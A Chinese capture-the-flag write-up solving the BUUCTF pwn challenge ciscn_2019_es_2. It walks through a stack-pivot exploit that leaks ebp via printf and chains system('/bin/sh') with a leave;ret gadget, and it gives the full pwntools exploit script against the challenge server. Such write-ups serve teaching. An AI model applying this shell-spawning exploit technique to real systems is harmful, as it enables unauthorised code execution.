buuctf中的ciscn_2019_es_2(栈迁移)

首先checksec检查保护机制:

-32位程序

-开启了栈不可执行保护

接下使用IDA进行反汇编分析:

发现vul函数和hack函数,分别点进去查看具体代码

vul函数内部:

发现s到栈底的距离为0x28,但是下面read只读入了0x30个字节的数据,可以触发栈溢出,但是只能覆盖到ebp和ret,这里就得想到用栈迁移来做这道题了

hack函数内部:

这里这是输出了"flag"这4个字母,对破解程序无任何帮助

首先在IDA中拿到system函数的地址:0x08048400

再输入以下代码拿到leave_ret的地址:0x0x08048562

复制代码
ROPgadget --binary pwn --only "leave|ret"

从上面可以看到s的宽度为40字节,可以将栈迁移到这里执行system函数,所以我们需要知道s的地址,这里我们可以通过s相对于ebp的偏移算出s的地址,但是我们得先拿到ebp的地址,printf有个bug可以让我们拿到ebp的地址,就是如果我们刚好输入了0x28个字节的数据,即将ebp前面的内容都覆盖上,在没遇到/0的情况下,printf会把ebp的地址打印出来,用这个方法拿到ebp的地址

接下来就是计算s的地址了,在pwndbg中进行调试,首先在第一个read输入aaaa然后CTRL+C退出程序,输入stack 30,查看栈内容,这里可以看到aaaa即s的内容存放在地址0xffffd0b0处,而ebp在0xffffd0e8处,相差0x38,所以s的地址为ebp - 0x38

这里先来看一下最终payload的构造:

第一行:先是4个'a'用于下面的leave_ret等下会解释,再是system的地址,然后是system函数的返回地址,可以是任意4字节的占位数据,之后是/bin/sh的地址,然后是/bin/sh,前面的/bin/sh地址就是对应这里的/bin/sh

第二行:将payload补齐到0x28字节,填满s的内存空间

第三行:先将ebp覆盖为s的地址,然后再将ret覆盖为leave_ret的地址

python 复制代码
payload = b'aaaa' + p32(system_addr) + b'aaaa' + p32(bin_sh_addr) + b'/bin/sh\x00'
payload = payload.ljust(0x28,b'i')
payload += p32(s_addr) + p32(leave_ret_addr)
io.sendline(payload)

leave_ret在汇编代码中是这几行代码的组合:

leave = mov esp ebp + pop ebp

ret = pop eip

leave先把ebp的内容(在上面已被覆盖为s_addr)放到esp(栈底)中,然后从栈底弹出一个值(4字节,因为这里是32位程序)放到ebp中,由于这里的esp最终被覆盖为s的地址所以s即为新的栈底,所以payload最开始的'aaaa'最终被放到了ebp中,接下来是ret,又从栈底再次取出一个值(即接下来的system函数地址)放到eip中执行。

再解释一下/bin/sh地址的计算,从payload可以看到在/bin/sh前面有4个4字节的数据,由于最前面就是s的地址(s_addr),则/bin/sh的地址为s_addr + 0x10即ebp - 0x28

下面是完整的exp脚本代码:

第一次read先利用printf打印出ebp的地址,第二次read再来使用栈迁移拿到shell

python 复制代码
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',28311)              # 与在线环境交互。

system_addr = 0x08048400
leave_ret_addr = 0x08048562

io.recvuntil(b'Welcome, my friend. What\'s your name?\n')
payload = b'a'*0x27 + b'b'
io.send(payload)

io.recvuntil(b'b')
ebp_addr = u32(io.recv(4))
s_addr = ebp_addr - 0x38
bin_sh_addr = ebp_addr - 0x28
print(hex(ebp_addr))

payload = b'aaaa' + p32(system_addr) + b'aaaa' + p32(bin_sh_addr) + b'/bin/sh\x00'
payload = payload.ljust(0x28,b'i')
payload += p32(s_addr) + p32(leave_ret_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

相关推荐
Hello.Reader18 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
wdfk_prog19 小时前
[Linux]学习笔记系列 -- [drivers][input]input
linux·笔记·学习
智驱力人工智能19 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
盟接之桥19 小时前
盟接之桥说制造:引流品 × 利润品,全球电商平台高效产品组合策略(供讨论)
大数据·linux·服务器·网络·人工智能·制造
数据与后端架构提升之路20 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
忆~遂愿20 小时前
ops-cv 算子库深度解析:面向视觉任务的硬件优化与数据布局(NCHW/NHWC)策略
java·大数据·linux·人工智能
湘-枫叶情缘20 小时前
1990:种下那棵不落叶的树-第6集 圆明园的对话
linux·系统架构
Fcy64821 小时前
Linux下 进程(一)(冯诺依曼体系、操作系统、进程基本概念与基本操作)
linux·运维·服务器·进程
袁袁袁袁满21 小时前
Linux怎么查看最新下载的文件
linux·运维·服务器
代码游侠21 小时前
学习笔记——设备树基础
linux·运维·开发语言·单片机·算法